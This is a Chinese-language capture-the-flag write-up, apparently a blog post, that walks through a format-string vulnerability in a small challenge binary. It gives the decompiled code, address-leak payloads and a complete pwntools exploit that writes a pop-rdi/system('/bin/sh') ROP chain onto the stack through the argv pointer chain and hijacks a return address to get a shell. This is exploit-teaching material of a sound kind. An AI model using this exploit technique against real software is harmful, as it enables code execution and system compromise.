一个废话巨多的 printf 题

网友给了一个题,这题是个格式化字符串漏洞的题。很有代表性,专门把这题说一下。其中为入门级的多说些废话。

附1:gdb

作pwn题是绕不开gdb的,而gdb本身不方便用,于是有了各种插件pwngdb,peda,gdbinit,gef都很牛,我用的是gef这个从网上下个附件就能用很方便。

常用命令有b下断点,vmmap,tel,set等。不是这里主要内容,有需要网上搜。

附2:patchelf

一般pwn题需要指定libc在process可以指libc,但我更喜欢用patchelf直接给程序打上补丁。因为那种似乎对堆不大友好。本题给了Dockerfile

FROM ubuntu:20.04
RUN apt-get update 
RUN apt-get install -y socat


COPY ./net.sh /home/net.sh
COPY ./shell /home/shell

RUN useradd user 
RUN chown -R user:user /home
USER user

WORKDIR /home

EXPOSE 10000
ENTRYPOINT ["/home/net.sh"]

这里边给定的系统是Ubuntu:20.04对应的libc大版本是libc-2.31 ,小版本未知但对这题来说已经足够了。

于是给shell打个补丁:

patchelf --set-interpreter ~/glibc/libs/2.31-0ubuntu9.9_amd64/ld-2.31.so she
patchelf --add-needed ~/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so she

附3:关闭aslr

 这个与本题基本无关,可有可无,但题目是动态加载的跟起来不方便,可以把aslr关掉

sudo /bin/sh
echo 0 > /proc/sys/kernel/randomize_va_space

1,读代码

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+4h] [rbp-Ch]
  void *s; // [rsp+8h] [rbp-8h]

  s = malloc(0x64uLL);
  for ( i = 0; i <= 49; ++i )
  {
    memset(s, 0, 0x64uLL);
    printf("> ");
    fflush(stdout);
    read(0, s, 0x64uLL);
    if ( !strcmp((const char *)s, "exit\n") )
      break;
    vuln(s);
  }
  return 0LL;
}
int __fastcall vuln(const char *a1)
{
  char *s; // [rsp+10h] [rbp-10h]
  FILE *stream; // [rsp+18h] [rbp-8h]

  s = (char *)malloc(0x64uLL);
  stream = fopen("./file.txt", "w");
  if ( !strcmp(a1, "ls\n") )
  {
    puts("file.txt");
  }
  else if ( !strncmp(a1, "cat", 3uLL) )
  {
    fgets(s, 100, stream);
    printf(s);
  }
  else if ( !strncmp(a1, "echo ", 5uLL) )
  {
    fputs(a1 + 5, stream);
  }
  return fclose(stream);
}

程序短,主程序读入一个串到堆里(这里定义的s是个指针,然后在堆里建块,把数据读进去),然后调用函数vuln这个是我随便写的,也算个习惯,改过以后很容易看出哪个函数用到哪个没用到。再看起来方便。

子函数会根据头几个字符分别执行3个功能,

  1.  ls没任何用处,
  2.  echo会把后边的部分写入方件中,
  3.  cat会把文件的内容读出来,然后执行printf漏洞

2,思路

对于printf来说,需要一个指针,然后往这个指针指定位置写数据,格式是

%1234c%17$hn

具体参数不多说了。这里边写入的数据不在栈上,所以这个写入的数据也就指不到偏移了,能不能够通过堆地址找到没试过

在不能直接写栈的情况下,有个方便的链rbp->rbp 每进一个函数都会压栈rbp这样rbp就成链用一个指另一个然后指向写数据的地方再写数据。不过这种情况需要至少3层的函数。这题恰巧也没有。

然后就是另外一个链argc,在libc调用的情况会有一个指针指向栈里边程序名字的串

s1->s2->'shell' 

利用方法是通过s1修改s2指向栈里写ROP的地址,然后一点点把ROP写进去,每次写一两个字节, 然后修改s2指向下一位置。

3,漏洞地址

题目里地址都是不知道的,printf会把偏移地址的值打印出来。

一般情况下64位通过寄存器值参,printf在偏移6就到当前函数的栈顶。(32位通过栈值参多一点是8)。具体还要打印出以后再与gdb核对。

一个废话巨多的 printf 题_第1张图片

 这个图在作题时很重要,当输入%6$p,%7$p,%8$p,%9$p时会打印出最上边4个值,也就确定的偏移是6。

这里边有几个地址用红箭头标出来:

  1. 偏移10,标$rbp的是指向下一个rbp指针
  2. 偏移11,函数vuln的返回地址,他运行完后会回到main函数中0x141b的位置
  3. 偏移15,main函数返回libc的地址,需要通过它来计算libc的加载地址
  4. 偏移17,argc指针,指向一个字符串指针,这个指什指向程序名(我把程序名改了,叫shell太招摇)。
  5. 这也是个栈指针,如果需要两个的时候会用到。这题给了50次(25次执行)如果给的次数不够可以把这个指针指向i,必要的时候修改i太到多次写的目的。

另外一个用黄框标出来的是将来写ROP的位置,为什么不直接写__libc_start_main_ret呢,因为这里利用了栈指针。这个批针太近了。当然也有别的办法处理,稍麻烦点。

另外,有时候这种情况不给退出命令,比如在main/break这里写个exit,想退出其实更好的办法是写vuln的返回地址,在执行printf后退出函数时就会执行到这里。把这里写成pop xxx 可以通过这个调节直接跳到写的ROP的位置,这里恰好ppp6可以跳到。而ppp6这个万能gadget是init里基本必有的(新版本没了)

所以第1步漏洞很容易了,指定偏移就行。

from pwn import *

p = process('./she')
context(arch='amd64', log_level='debug')

elf = ELF('./she')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

#gdb.attach(p, "b*0x0000555555555386\nc")

def show(msg):
    p.sendafter(b"> ", b'echo '+msg.encode())
    p.sendafter(b"> ", b'cat')

show('%10$p,%11$p,%15$p\n')
stack, vuln, libc_start_main_ret = [int(v,16) for v in p.recvline().strip().split(b',')]

stack = stack + 0x20 
libc.address = libc_start_main_ret - 243 - libc.sym['__libc_start_main']
elf.address = vuln - 0x141b

print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")

这里由于关闭了aslr所以可以写个静态的gdb中断。

4,写指针

在栈里修改数据,需要指定偏移,而这个偏移由于读入的数据并不在栈上,所以需要用到这个链。这里s1是偏移17,它指向s2,偏移是45,通过s1修改s2的尾字节,让他指写我们要写ROP的位置,然后再通过s2来执行写。偏移每8字节+1,正好1行。计算可以数,也可以通过算,通常情况下argc这个链可能会很远,脱鞋也数不到。

>>> (0xf98-0xe60)//8
39
>>> 39+6
45

第1步要通过17把45的尾字节修改让他指向ROP

# 17->45->18
show(f'%{ stack&0xffff }c%17$hn')

5,写ROP

64位地址其实只用了6位,所以每字写3次,第1次写lln8字节整数清0并写入后边每次写两字节。ROP很简单就是pop_rdi,bin_sh,system

def write_rop(off, v):
    off = off&0xff
    v1,v2,v3 = v&0xffff, (v>>16)&0xffff, (v>>32)&0xffff
    show(f'%{off}c%17$hhn')
    show(f"%{v1}c%45$lln")
    show(f'%{off+2}c%17$hhn')  #17->45->rop+2
    show(f"%{v2}c%45$hn")
    show(f'%{off+4}c%17$hhn')
    show(f"%{v3}c%45$hn")


pop_rdi = next(elf.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

write_rop(stack,pop_rdi)
write_rop(stack+8,bin_sh)
write_rop(stack+16,system)

6,写跳转

把vuln的返回地址改成ppp6

show(f'%{ (stack&0xff) -0x38 }c%17$hhn')
show(f'%{0x8a}c%45$hhn')

p.interactive()

一个废话巨多的 printf 题_第2张图片

 这时候返回里会执行ppp6弹掉6个后到pop_rdi, bin/sh,system得到shell

你可能感兴趣的:(格式化字符串漏洞)